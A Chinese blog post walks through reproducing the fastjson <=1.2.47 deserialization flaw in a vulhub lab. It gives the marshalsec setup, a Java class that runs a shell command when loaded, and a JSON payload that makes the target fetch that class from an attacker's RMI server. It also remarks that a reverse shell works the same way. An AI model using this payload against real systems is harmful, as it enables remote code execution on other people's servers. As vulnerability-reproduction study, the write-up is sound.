zoukankan      html  css  js  c++  java
  • fastjson<=1.2.47反序列化漏洞复现

    0x00:前言

    这个漏洞爆出来之后本来一直打算挑时间去复现,后来一个朋友突然发来他们站点存在fastjson这个漏洞被白帽子发了报告。既然漏洞环境送上门来,我便打算直接下手试一试。在我的想象中当然是一发入魂回车shell(大雾),事实证明事情永远不会这么简单,我怀疑他们偷偷修复了这个漏洞因为我rmi服务器连响应都没收到....因此我是基于P师傅的vulhub环境复现的。

    0x01:环境准备

    直接将github上的vulhub下载下来,进入fastjson漏洞环境目录下,执行

    dcoker-compose up -d

    开启环境

    接着在自己的vps里开启rmi或者ldap服务

    推荐使用marshalsec快速开启rmi或ldap服务

    地址:

    https://github.com/mbechler/marshalsec

    下载marshalsec,使用maven编译jar包

    mvn clean package -DskipTests
    

     开启rmi或ldap服务

    java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
    

     

    这里的TouchFile是我编译好的恶意类,将编译好的TouchFile.class放在tomcat webapps/ROOT 目录下,java源码如下

    import java.lang.Runtime;
    import java.lang.Process;
    
    public class TouchFile {
        static {
            try {
                Runtime rt = Runtime.getRuntime();
                String[] commands = {"touch", "/tmp/success"};
                Process pc = rt.exec(commands);
                pc.waitFor();
            } catch (Exception e) {
                // do nothing
            }
        }
    }

    开启tomacat,确认可以访问http://ip:8080/TouchFile.class

    为什么要确认这一点呢,因为我一开始把class文件放在了webapps目录下一直没复现成功。后来我一看tomcat的access-log发现我rmi确实请求访问恶意类了,但是是404...我一度怀疑人生了都...

    0x02:攻击

    直接请求搭建好的漏洞环境,端口是8090 将方法改成POST

     payload:

        "a":{
            "@type":"java.lang.Class",
            "val":"com.sun.rowset.JdbcRowSetImpl"
        },
        "b":{
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"rmi://ip:8088/TouchFile",
            "autoCommit":true
        }
    }

     发送请求后,rmi服务器收到响应,远程加载恶意类TouchFile.class

    可以看到已成功执行touch /tmp/success

    同理 反弹shell

    0x03:一些坑点

    因为之前的服务器到期了一直没买新的,这次的vps是刚买的,买的阿里云忘了配置防火墙了就很尴尬...rmi一开始没收到请求我还很疑惑,结果我朋友问我你防火墙配置了吗....

    接着就是这个恶意类放置路径的问题(我java实在是太菜了 这不是坑点 这是我太菜了)

    最后就是rmi和ldap这种利用方式对版本是有要求的,它们分别在以下版本被修复

  • 相关阅读:
    网易编程题——小易喜欢的单词
    Effective C++ 条款12:复制对象时勿忘其每一个成分
    Effective C++ 条款11:在operator=中处理"自我赋值"
    STM32-通用定时器基本定时功能
    GPIO_Mode
    STM32的ADC编程方法
    STM32的ADC采样与多通道ADC采样
    网络子系统
    linux网络子系统内核分析
    Linux 中高效编写 Bash 脚本的 10 个技巧
  • 原文地址:https://www.cnblogs.com/escape-w/p/11322845.html
Copyright © 2011-2022 走看看